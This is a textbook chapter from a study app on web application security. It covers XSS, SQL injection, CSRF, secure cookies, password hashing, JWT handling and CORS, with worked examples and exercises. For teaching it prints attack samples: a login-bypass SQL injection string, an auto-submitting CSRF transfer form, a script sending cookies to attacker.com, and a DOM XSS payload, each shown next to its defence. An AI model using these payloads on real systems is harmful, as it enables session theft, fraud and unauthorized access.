Web Application Security
Open in the Padhaiko app5.1 Common vulnerabilities: XSS, SQL injection, CSRF
Web application security requires defending systems against malicious exploits that compromise data confidentiality, integrity, and availability. The OWASP (Open Web Application Security Project) Top 10 identifies the most critical security risks facing modern web architectures.
Cross-Site Scripting (XSS)
Cross-Site Scripting (XSS) occurs when a web application accepts untrusted user input and includes it in a web page delivered to other users without sufficient validation or context-aware output encoding. This allows an attacker to execute arbitrary client-side JavaScript within the victim's browser session.
Three Classifications of XSS
- Stored (Persistent) XSS: The injected malicious script is permanently stored on the server's database or filesystem (e.g., inside forum posts, student profiles, or user comments). Whenever any victim navigates to the compromised page, the server retrieves the payload and transmits it, executing the script in the victim's browser context.
- Reflected (Non-Persistent) XSS: The malicious payload is embedded inside an HTTP request (such as a URL query parameter or form field) and immediately reflected back in the server's immediate HTML response (e.g., search results:
Search results for: <script>...</script>). The attacker tricks the victim into clicking a crafted hyperlink. - DOM-based XSS: The vulnerability exists purely within client-side JavaScript code. The attack payload is read from a DOM source (such as
location.hashorlocation.search) and written directly into an unsafe DOM sink (such aselement.innerHTML,document.write(), oreval()) without server involvement.
Consequences of XSS
- Session Hijacking: Stealing sensitive session identifiers or authentication tokens via
document.cookieorlocalStorage. - Credential Harvesting / Keylogging: Injecting fake login modals or attaching global
keypresslisteners to record passwords. - Unauthorized Actions: Dispatched requests inherit the victim's authenticated privileges to alter passwords or transfer funds.
- Website Defacement & Malware Distribution: Injecting malicious
<iframe>tags or redirecting users to phishing portals.
XSS Defenses
- Context-aware HTML entity encoding (
&->&,<-><,>->>,"->",'->'). - Utilizing safe DOM properties (
textContentorinnerTextinstead ofinnerHTML). - Enforcing strict Content-Security-Policy (CSP) headers to disallow inline scripts and restrict script execution sources.
- Storing session cookies with the
HttpOnlyflag, forbidding JavaScript read access.
SQL Injection (SQLi)
SQL Injection occurs when untrusted user input is directly concatenated into dynamic SQL queries without syntactic separation between user data and database instructions.
-- Vulnerable dynamic SQL query string construction
SELECT * FROM users WHERE username = 'admin' AND password = '' OR '1'='1';If an application accepts input and concatenates it directly: query = "SELECT * FROM users WHERE username = '" + input_user + "' AND password = '" + input_pass + "';" An attacker submitting admin' -- or ' OR '1'='1 forces the boolean predicate to evaluate to TRUE, bypassing password authentication entirely and gaining administrative access.
Types of SQL Injection
- In-Band (Classic) SQLi: Attacker uses the same communication channel to launch the attack and extract results:
- Error-Based: Induces the database to output verbose syntax error messages exposing table and column names.
- UNION-Based: Appends a malicious
UNION SELECTstatement to combine results from internal administrative tables.
- Inferential (Blind) SQLi: The application reveals no database error messages or data payloads:
- Boolean-Blind: Attacker sends SQL queries that force True/False application responses, extracting data character-by-character.
- Time-Blind: Injects database sleep instructions (e.g.,
pg_sleep(5)orWAITFOR DELAY '0:0:5'). If the HTTP response is delayed by 5 seconds, the injected condition is confirmed true.
- Out-of-Band SQLi: Attacker triggers DNS or HTTP requests from the database server itself to an attacker-controlled listener.
SQLi Defenses
- Parameterized Queries (Prepared Statements): Separates query structure from user parameters. The database compiles the SQL query template first; parameters are treated purely as literal data values, completely neutralizing code injection.
- Object-Relational Mappers (ORMs): Standard ORM queries automatically employ parameterized placeholders.
- Principle of Least Privilege: Restricting database user accounts so web applications lack permissions to drop tables or access system catalogs.
Cross-Site Request Forgery (CSRF)
Cross-Site Request Forgery is an exploit where an attacker tricks an authenticated user's browser into transmitting unauthorized state-changing HTTP requests to a target website where the victim has an active session.
<!-- Malicious hidden form hosted on attacker-domain.com -->
<form id="csrfForm" action="https://bank.tu.edu.np/api/v1/transfer" method="POST">
<input type="hidden" name="recipient" value="attacker_account_99">
<input type="hidden" name="amount" value="50000">
</form>
<script>
document.getElementById('csrfForm').submit();
</script>When a student visits attacker-domain.com, the script executes automatically. Because the student's browser holds valid session cookies for bank.tu.edu.np, the browser automatically attaches those cookies to the cross-site POST request. The bank server processes the transfer as authentic.
CSRF Defenses
- Anti-CSRF Synchronizer Tokens: Cryptographically secure, unpredictable hidden form tokens validated by server middleware.
- SameSite Cookie Attribute: Setting
SameSite=LaxorSameSite=Strictblocks browser cookie transmission on cross-site requests. - Re-Authentication: Prompting for password re-entry or multi-factor verification before executing sensitive financial or account modifications.
5.2 Security best practices: Input validation, sanitization, https, secure cookies, env variables
A defense-in-depth security strategy combines multiple protective layers across data ingestion, transport, and runtime configuration.
Input Validation and Sanitization
| Aspect | Allow-List (Whitelisting) | Block-List (Blacklisting) |
|---|---|---|
| Strategy Concept | Define an explicit pattern of what is permitted; reject everything else | Define known bad patterns to reject; accept everything else |
| Security Rigor | Extremely high: Protects against unknown or novel attack vectors | Fragile & Weak: Attackers easily bypass checks using character encoding or obfuscation |
| Implementation | Strict regex matching (e.g., ^[a-zA-Z0-9_]{3,20}\Z for usernames) | Removing words like script or SELECT, easily defeated by <scr<script>ipt> |
| Industry Recommendation | Standard mandatory best practice across all input endpoints | Deprecated and strongly discouraged |
- Sanitization: Cleanses acceptable input by neutralizing potentially dangerous characters or transforming inputs into standard canonical representations (e.g., stripping dangerous script tags from rich-text HTML using DOMPurify).
- Context-Aware Output Encoding: Encodes characters specifically for the context where data is inserted (HTML body context, HTML attribute context, JavaScript context, or URL parameter context).
Transport Layer Security (HTTPS) and HSTS
All modern web communication must occur over encrypted HTTPS (TLS 1.3) to prevent eavesdropping and Man-in-the-Middle (MitM) attacks.
HTTP Strict Transport Security (HSTS)
To prevent SSL-Stripping attacks (where an adversary on public Wi-Fi intercepts an initial unencrypted HTTP connection before redirecting to HTTPS), servers declare the Strict-Transport-Security response header: Strict-Transport-Security: max-age=31536000; includeSubDomains; preload This instructs the browser to cache an immutable rule: all future connections to this domain and all subdomains must execute exclusively over HTTPS for the next 31,536,000 seconds (1 year), refusing to connect if any certificate error occurs.
Secure Cookie Configuration
Production web applications must lock down session and authentication cookies using four standardized security attributes:
| Cookie Attribute | Directive Value | Threat Mitigated |
|---|---|---|
HttpOnly | HttpOnly | Neutralizes session hijacking via XSS by blocking JavaScript access via document.cookie |
Secure | Secure | Mitigates eavesdropping by forcing transmission exclusively over encrypted HTTPS sockets |
SameSite | SameSite=Lax or SameSite=Strict | Mitigates CSRF by blocking automatic cookie transmission on cross-origin requests |
Path & Domain | Path=/; Domain=tu.edu.np | Restricts cookie visibility scope to authorized subdomain and URL paths |
Environment Variables and Secrets Management
Modern applications follow the Twelve-Factor App methodology, separating software code from deployment configuration:
- Sensitive credentials (database passwords, JWT secret signing keys, third-party API tokens, payment merchant keys) must never be hardcoded in source code or committed to Git version control.
- Configuration is loaded at application startup from OS environment variables (e.g., via
os.environ.get('SECRET_KEY')in Python orprocess.env.SECRET_KEYin Node.js) populated from.envfiles isolated in.gitignore. - Production cloud deployments leverage centralized key vaults (such as HashiCorp Vault, AWS Secrets Manager, or Google Cloud Secret Manager) featuring automated key rotation and fine-grained access audits.
5.3 Authentication practices and token handling
Authentication establishes and verifies the identity of users and external services interacting with a web application.
Cryptographic Password Hashing
Passwords must never be stored in plaintext or encrypted with two-way symmetric encryption (where a stolen key decrypts all passwords). Instead, passwords must be transformed using one-way cryptographic hash functions.
| Algorithm Family | Examples | Suitability for Passwords | Reason |
|---|---|---|---|
| Fast Cryptographic Hashes | MD5, SHA-1, SHA-256, SHA-512 | Completely Unsuitable / Broken | Designed for fast file checksums; modern GPUs compute billions of hashes per second, enabling rapid brute-force cracking |
| Adaptive Key Derivation Functions | bcrypt, PBKDF2, Argon2id | Industry Standard | Deliberately slow and computationally expensive; features tunable work factors and built-in salts |
Crucial Concepts in Password Hashing
- Cryptographic Salt: A unique, unpredictable, cryptographically secure random byte string (minimum 16 bytes) generated per user and concatenated with the password before hashing. Salts defeat Rainbow Table attacks (precomputed tables of millions of reversed hash values) and ensure identical passwords produce completely different hash outputs.
- Work Factor (Cost Parameter): Controls the computational complexity and iteration count required to calculate a single hash. As hardware capabilities improve over time, administrators increment the cost factor without altering password structures.
- Argon2id: Winner of the international Password Hashing Competition. It provides superior resistance against both GPU-accelerated brute forcing and specialized ASIC hardware attacks by enforcing high memory hardness alongside CPU iterations.
Secure Token Handling and Lifecycle Management
When deploying stateless JSON Web Tokens (JWT) for authentication, architectures must enforce strict security guidelines:
- Signing Algorithm Integrity: Backends must explicitly whitelist supported algorithms (e.g.,
RS256orHS256) and explicitly reject tokens withalg: "none", which attackers use to bypass signature verification. - Secret Key Entropy: Symmetric secrets for HMAC signing must possess high entropy (minimum 256 bits = 32 random bytes) to prevent offline dictionary brute-forcing.
- Short-Lived Access Tokens: Keep access token lifetimes very short (e.g., 5 to 15 minutes) to minimize the vulnerability window if an active token is intercepted.
- Secure Refresh Token Rotation: Issue long-lived refresh tokens stored exclusively inside
HttpOnly,Securecookies. Whenever a refresh token is used to generate a new access token, invalidate the old refresh token and issue a fresh one (Refresh Token Rotation). If an invalidated refresh token is reused, revoke the entire token family, detecting token theft immediately.
5.4 Security in full-stack apps: CORS, safe sessions
Securing full-stack web applications requires mastering cross-origin boundaries and session lifecycle controls.
The Same-Origin Policy (SOP)
The Same-Origin Policy is the cornerstone of client-side browser security. It dictates that scripts executing in one origin are prohibited from accessing or reading resources, cookies, or the DOM of a different origin.
Definition of an Origin
An Origin is defined by the exact three-tuple combination of: Origin = Protocol (Scheme) + Hostname (Domain) + Port Two URLs share the same origin if and only if all three components are identical:
https://tu.edu.np:443/loginandhttps://tu.edu.np:443/portal-> Same Origin (Scheme, Host, and Port match).http://tu.edu.npandhttps://tu.edu.np-> Different Origin (Protocol mismatch: HTTP vs HTTPS).https://tu.edu.npandhttps://api.tu.edu.np-> Different Origin (Host mismatch: root vs subdomain).https://tu.edu.np:443andhttps://tu.edu.np:8080-> Different Origin (Port mismatch: 443 vs 8080).
Cross-Origin Resource Sharing (CORS)
Modern single-page applications frequently run on a client origin (e.g., https://portal.tu.edu.np) and query an API hosted on a separate backend origin (e.g., https://api.tu.edu.np). Under the default Same-Origin Policy, the browser blocks the frontend from reading API responses.
CORS is an HTTP-header-based mechanism that allows a server to explicitly declare which external origins are permitted to access its resources.
CORS Preflight Requests (OPTIONS)
When a cross-origin request contains non-simple HTTP verbs (PUT, DELETE, PATCH) or custom headers (Authorization, Content-Type: application/json), the browser automatically dispatches an initial Preflight Request using the OPTIONS verb before executing the actual request:
[ Client Browser: https://portal.tu.edu.np ] [ API Server: https://api.tu.edu.np ]
| |
| 1. Preflight Request: |
| OPTIONS /api/v1/grades |
| Origin: https://portal.tu.edu.np |
| Access-Control-Request-Method: PUT |
| Access-Control-Request-Headers: Content-Type, Authorization
|--------------------------------------------->| Inspects Origin
| | Verifies permissions
| 2. Preflight Response: |
| HTTP/1.1 204 No Content |
| Access-Control-Allow-Origin: https://portal.tu.edu.np
| Access-Control-Allow-Methods: GET, PUT, POST, DELETE
| Access-Control-Allow-Headers: Content-Type, Authorization
| Access-Control-Max-Age: 86400 (cache 24h) |
|<---------------------------------------------|
|
[ Browser validates headers ]
|
| 3. Actual Request: |
| PUT /api/v1/grades |
| Origin: https://portal.tu.edu.np |
| Authorization: Bearer <jwt> |
|--------------------------------------------->| Executes Update
| 4. Actual Response: HTTP 200 OK | Returns JSON
|<---------------------------------------------|Key CORS Headers:
Access-Control-Allow-Origin: Explicitly whitelist permitted origin domains (e.g.,https://portal.tu.edu.np). Never use wildcard*ifAccess-Control-Allow-Credentials: trueis enabled.Access-Control-Allow-Methods: Comma-separated list of permitted HTTP methods.Access-Control-Allow-Headers: Permitted custom request headers.Access-Control-Allow-Credentials: Set totrueto permit transmission of cookies or authorization headers across origins.
Safe Session Lifecycle Controls
To maintain session integrity across the user lifecycle, backends must implement defense mechanisms against session exploits:
- Session Fixation Prevention: An attack where an adversary obtains a valid session identifier, forces a victim's browser into using it (e.g., via a crafted link), and waits for the victim to authenticate. Once logged in, the attacker uses the known session ID to access the account.
- Mitigation: The backend must regenerate a new Session ID immediately upon every successful user login (in Django:
request.session.cycle_key()), invalidating the pre-login identifier.
- Mitigation: The backend must regenerate a new Session ID immediately upon every successful user login (in Django:
- Session Hijacking Mitigation: In addition to
HttpOnlyandSecurecookie attributes, backends bind user sessions to client fingerprints:- Comparing client IP subnet and
User-Agentstring between requests; if a radical shift occurs, prompt for re-authentication. - Enforcing idle timeouts (e.g., automatically terminating sessions after 15 minutes of inactivity).
- Comparing client IP subnet and
- Concurrent Session Management: Enforcing policies that limit a user account to one active desktop session and one mobile session, invalidating older session keys when a new login occurs.
Worked Examples
Password Hashing Brute-Force Cracking Time Calculation
A security team evaluates password storage configurations. An attacker possesses a dedicated GPU cluster capable of executing 1,000,000,000 (1 billion = 10^9) hash calculations per second for standard SHA-256.
- If an organization naively stores passwords using raw unsalted SHA-256, calculate how many candidate passwords the attacker's GPU cluster can evaluate in 1 second.
- The team upgrades password storage to the bcrypt algorithm configured with a cost factor (work factor) of 12. On the same hardware, calculating a single bcrypt hash with cost factor 12 takes 4 milliseconds (meaning the system can calculate 250 bcrypt hashes per second). Calculate the slowdown factor achieved by switching from SHA-256 to bcrypt cost 12.
- For a password keyspace of 10^12 possible combinations, calculate the time in seconds required for the attacker to exhaustively brute-force the keyspace under raw SHA-256 versus bcrypt cost 12.
Evaluate SHA-256 Hash Throughput: Attacker GPU throughput for SHA-256 = 1,000,000,000 hashes per second (10^9 hashes/sec). In 1 second, the attacker evaluates exactly 1 billion password guesses.
Calculate bcrypt Slowdown Factor: Throughput for bcrypt (cost 12): Time per hash = 4 ms = 0.004 seconds. Hashes per second = 1 / 0.004 = 250 hashes/sec.
Slowdown Factor = (SHA-256 Hashes/sec) / (bcrypt Hashes/sec) Slowdown Factor = 1,000,000,000 / 250 = 4,000,000. bcrypt slows down the attacker by a factor of exactly 4,000,000 (4 million times slower).
Calculate Brute-Force Exhaustion Time for 10^12 Keyspace: Total keyspace = 10^12 combinations.
Under SHA-256: Time = 10^12 / 10^9 = 1,000 seconds (approximately 16.67 minutes). An attacker cracks the password in under 17 minutes!
Under bcrypt (cost 12): Time = 10^12 / 250 = 4,000,000,000 seconds. In hours: 4,000,000,000 / 3600 = 1,111,111.11 hours. In years: 4,000,000,000 / (365.25 * 86,400) = 126.75 years.
- Under raw SHA-256, the attacker tests 1,000,000,000 guesses per second.
- bcrypt cost 12 slows the attacker by a factor of 4,000,000.
- For a 10^12 keyspace, raw SHA-256 is cracked in 1,000 seconds (16.67 minutes), whereas bcrypt cost 12 requires 4,000,000,000 seconds (approximately 126.75 years), rendering offline brute-force attacks computationally infeasible.
SQL Injection Vulnerability Analysis and Parameterized Remediation
Analyze the following Python database routine in an engineering exam portal:
def authenticate_student(cursor, roll_number, password):
sql = "SELECT id, full_name FROM students WHERE roll = '" + roll_number + "' AND pass = '" + password + "';"
cursor.execute(sql)
return cursor.fetchone()- Demonstrate an exploit input for
roll_numberthat bypasses authentication without knowing the student's password. - Explain the step-by-step mechanism by which the SQL engine parses the injected instruction.
- Rewrite the function using parameterized prepared statements and explain why parameterization eliminates the vulnerability completely.
Craft the Injection Payload: Attacker submits: roll_number = PUL078BCT001' -- password = arbitrary_dummy_text
Mechanism of the Exploit: String concatenation yields the following query string dispatched to the database engine:
SELECT id, full_name FROM students WHERE roll = 'PUL078BCT001' --' AND pass = 'arbitrary_dummy_text';In SQL syntax:
- The single quote
'closes the string literal for therollattribute. - The double-dash
--signifies an inline SQL comment. - The database parser completely ignores the remainder of the query line (
AND pass = '...'). - The query executes as:
SELECT id, full_name FROM students WHERE roll = 'PUL078BCT001';.
Because the roll number exists, the database returns the student's record, authenticating the attacker with full student privileges without password verification.
Remediation via Parameterized Queries:
def authenticate_student(cursor, roll_number, password):
# Use database driver parameter placeholders (%s in PostgreSQL/MySQL or ? in SQLite)
sql = "SELECT id, full_name FROM students WHERE roll = %s AND pass = %s;"
cursor.execute(sql, (roll_number, password))
return cursor.fetchone()When using prepared statements, the database engine compiles and parses the structural SQL abstract syntax tree (AST) before binding user parameters. The parameter PUL078BCT001' -- is treated exclusively as a literal string value for comparison. The single quote and double-dash carry zero syntactic meaning, rendering SQL injection impossible.
The payload PUL078BCT001' -- truncates the query via SQL comments, bypassing password validation. Parameterized queries (cursor.execute(sql, (roll, pass))) resolve the vulnerability because the database compiles the query syntax first and treats parameters strictly as literal data values.
CORS Preflight Handshake Evaluation
A student frontend hosted on https://student.pcampus.edu.np issues a cross-origin API call: PUT https://api.tu.edu.np/v1/students/profile Request Headers: Authorization: Bearer <jwt-token> Content-Type: application/json
- Explain why the browser mandates a CORS Preflight handshake before dispatching this PUT request.
- Formulate the exact HTTP
OPTIONSrequest message transmitted by the browser. - Formulate the required HTTP 204 response headers that
api.tu.edu.npmust return to permit the browser to proceed with the actual PUT request.
Why Preflight is Mandated: The request is not a "Simple Request" under W3C/WHATWG CORS specifications because:
- The HTTP method is
PUT(onlyGET,HEAD, andPOSTcan be simple requests). - It transmits a custom
Authorizationheader. - The
Content-Typeisapplication/json(simple requests only permitapplication/x-www-form-urlencoded,multipart/form-data, ortext/plain).
The browser must dispatch an OPTIONS preflight request to verify that the server explicitly permits cross-origin PUT modifications and custom Authorization headers.
Preflight OPTIONS Request:
OPTIONS /v1/students/profile HTTP/1.1
Host: api.tu.edu.np
Origin: https://student.pcampus.edu.np
Access-Control-Request-Method: PUT
Access-Control-Request-Headers: Authorization, Content-TypeServer Preflight Response Headers:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://student.pcampus.edu.np
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Authorization, Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400Access-Control-Max-Age: 86400 allows the browser to cache this preflight approval for 86,400 seconds (24 hours), sparing subsequent PUT requests from repeated preflight latency.
Preflight is mandated because PUT is a non-simple verb and custom Authorization/Content-Type headers are present. The browser sends an OPTIONS request declaring Origin, Access-Control-Request-Method, and Access-Control-Request-Headers. The server returns HTTP 204 with matching Access-Control-Allow-Origin, Access-Control-Allow-Methods, Access-Control-Allow-Headers, and Access-Control-Max-Age.
Exercises
Practice Exercises — Web Application Security
Differentiate among Stored XSS, Reflected XSS, and DOM-based XSS. Describe an attack scenario for each and identify the primary defense mechanisms to prevent XSS across a web application.
Definitions and Attack Scenarios:
- Stored XSS: Malicious script is permanently stored in the server database. Scenario: An attacker submits a profile bio containing
<script>fetch('http://attacker.com/steal?c=' + document.cookie)</script>. Whenever any user or administrator views that profile, the script executes automatically in their browser. - Reflected XSS: Malicious script is transmitted inside an HTTP request (URL query parameter) and immediately reflected in the response HTML. Scenario: An attacker sends a phishing link:
https://site.com/search?q=<script>...</script>. Clicking the link runs the script in the context of the vulnerable site. - DOM-based XSS: Vulnerability occurs entirely in client-side script execution without server modification. Scenario: A script reads
const tab = location.hash.substring(1);and executesdocument.getElementById('content').innerHTML = tab;. An attacker provides a URL ending in#<img src=x onerror=alert(1)>.
Primary Defense Mechanisms:
- Context-aware HTML entity encoding (
<,>,"). - Avoiding dangerous DOM sinks (
innerHTML,eval); using safe DOM APIs (textContent,createElement). - Implementing a strict Content-Security-Policy (CSP) that disallows
unsafe-inlinescripts. - Marking sensitive session cookies with the
HttpOnlyflag to prevent JavaScript theft.
Stored XSS persists in the database; Reflected XSS echoes via request parameters in server responses; DOM-based XSS executes entirely client-side via unsafe DOM manipulation. Defenses include context-aware entity encoding, safe DOM APIs (textContent), strict Content-Security-Policy (CSP), and HttpOnly session cookies.
Explain how SQL Injection operates and distinguish between In-Band, Inferential (Blind), and Out-of-Band SQL injection. Why do parameterized queries provide complete immunity against SQL injection?
Operation of SQL Injection: SQLi occurs when user input is dynamically concatenated into SQL command strings, allowing attackers to manipulate query syntax using single quotes, boolean operators (OR 1=1), and comment delimiters (--).
- In-Band SQLi: Attacker extracts data directly within the application's normal response channel (using error messages or
UNION SELECTstatements). - Inferential (Blind) SQLi: Attacker reconstructs data without seeing errors or returned rows, observing true/false application responses (Boolean-blind) or injected database execution delays (Time-blind via
pg_sleep). - Out-of-Band SQLi: Attacker triggers external DNS or HTTP requests from the database server to an external listener.
Why Parameterized Queries Provide Complete Immunity: Parameterized queries (prepared statements) enforce a strict architectural boundary between SQL instructions and data values. The database engine compiles the SQL query structure into an execution plan first. Parameter values supplied subsequently are treated purely as literal string/numeric constants. Even if user input contains quotes, semicolons, or SQL commands, the engine never interprets them as executable instructions.
SQL injection occurs when untrusted input alters database command syntax. It is categorized into In-Band (direct error/union output), Inferential (Boolean/time blind inference), and Out-of-Band. Parameterized queries provide complete immunity because the database pre-compiles query structure, treating user parameters strictly as literal data.
Why are standard hashing algorithms like MD5 and SHA-256 considered completely unsafe for password storage? Explain how salts and work factors in algorithms like bcrypt and Argon2id solve this problem.
Why Fast Hashing is Insecure for Passwords: MD5, SHA-1, and SHA-256 were designed for high-throughput data integrity checks and checksums. A modern GPU cluster can compute over 10 billion SHA-256 hashes per second. This enables attackers who obtain a password database to execute offline dictionary and brute-force cracking in minutes.
How Salt and Work Factor Resolve the Threat:
- Cryptographic Salt: A unique random byte string generated per user and prepended to the password before hashing. Salts ensure identical passwords produce completely different hash outputs, rendering precomputed Rainbow Tables completely useless.
- Work Factor (Cost Parameter): Algorithms like bcrypt and Argon2id are deliberately computationally slow. The cost parameter controls how many CPU iterations and memory buffers are required to compute a single hash (e.g., 250 hashes/sec instead of 10 billion/sec). This slows an attacker by millions of times, making brute-force cracking computationally impossible while remaining imperceptible to a single logging-in user (taking only a few milliseconds).
MD5 and SHA-256 are dangerously fast, allowing GPU clusters to compute billions of guesses per second. Adaptive algorithms (bcrypt, Argon2id) use unique cryptographic salts to defeat rainbow tables and tunable work factors to slow hash calculations, making offline brute-force cracking computationally impossible.
Define the Same-Origin Policy (SOP). Explain how Cross-Origin Resource Sharing (CORS) permits secure cross-origin communication and describe the purpose of preflight OPTIONS requests.
The Same-Origin Policy (SOP): SOP is a core browser security mechanism that restricts a web page loaded from one origin (protocol + host + port) from reading or interacting with resources, DOM elements, or fetch responses originating from a different origin.
Cross-Origin Resource Sharing (CORS) and Preflight Requests: CORS allows servers to relax SOP under controlled conditions by emitting explicit HTTP response headers:
Access-Control-Allow-Origin: https://client.tu.edu.npspecifies which origins are permitted.Access-Control-Allow-MethodsandAccess-Control-Allow-Headersdeclare allowed actions and headers.
For non-simple requests (methods like PUT, DELETE or headers like Authorization), the browser automatically sends a preflight OPTIONS request first. This asks the server for permission before executing the actual state-changing request, preventing unintended cross-origin modifications on legacy backends that do not implement CORS.
SOP prevents scripts from one origin from reading data from another origin. CORS is an HTTP-header mechanism that allows servers to grant explicit cross-origin access. Preflight OPTIONS requests verify whether a server permits non-simple methods (PUT, DELETE) or custom headers before the browser dispatches the actual request.
Describe the vulnerabilities of Session Fixation and Session Hijacking. Detail three specific technical defenses implemented to secure web application sessions.
Session Fixation vs. Session Hijacking:
- Session Fixation: An attacker forces or tricks a victim into using a known Session ID (e.g., via a link containing
?sessionid=123). When the victim authenticates, the server associates the existing Session ID with the victim's account, allowing the attacker to hijack the session using the pre-shared identifier. - Session Hijacking: An attacker steals an existing valid Session ID (via XSS, unencrypted network sniffing on public Wi-Fi, or malware) and impersonates the authenticated victim.
Three Key Technical Defenses:
- Session ID Regeneration: Always regenerate the Session ID immediately upon authentication (e.g.,
request.session.cycle_key()in Django) and upon privilege changes, invalidating pre-login IDs and neutralizing Session Fixation. - Cookie Security Attributes: Flag session cookies as
HttpOnly(prevents XSS theft),Secure(transmits exclusively over encrypted HTTPS), andSameSite=Lax(mitigates CSRF). - Session Fingerprinting & Timeouts: Bind session records to client fingerprints (IP subnet, User-Agent) and enforce strict idle timeouts (terminating sessions after 15 minutes of inactivity).
Session Fixation forces a victim to use a known session ID; Session Hijacking steals an active session ID. Key defenses include regenerating session IDs immediately upon login, configuring HttpOnly, Secure, and SameSite cookie attributes, and enforcing idle session timeouts.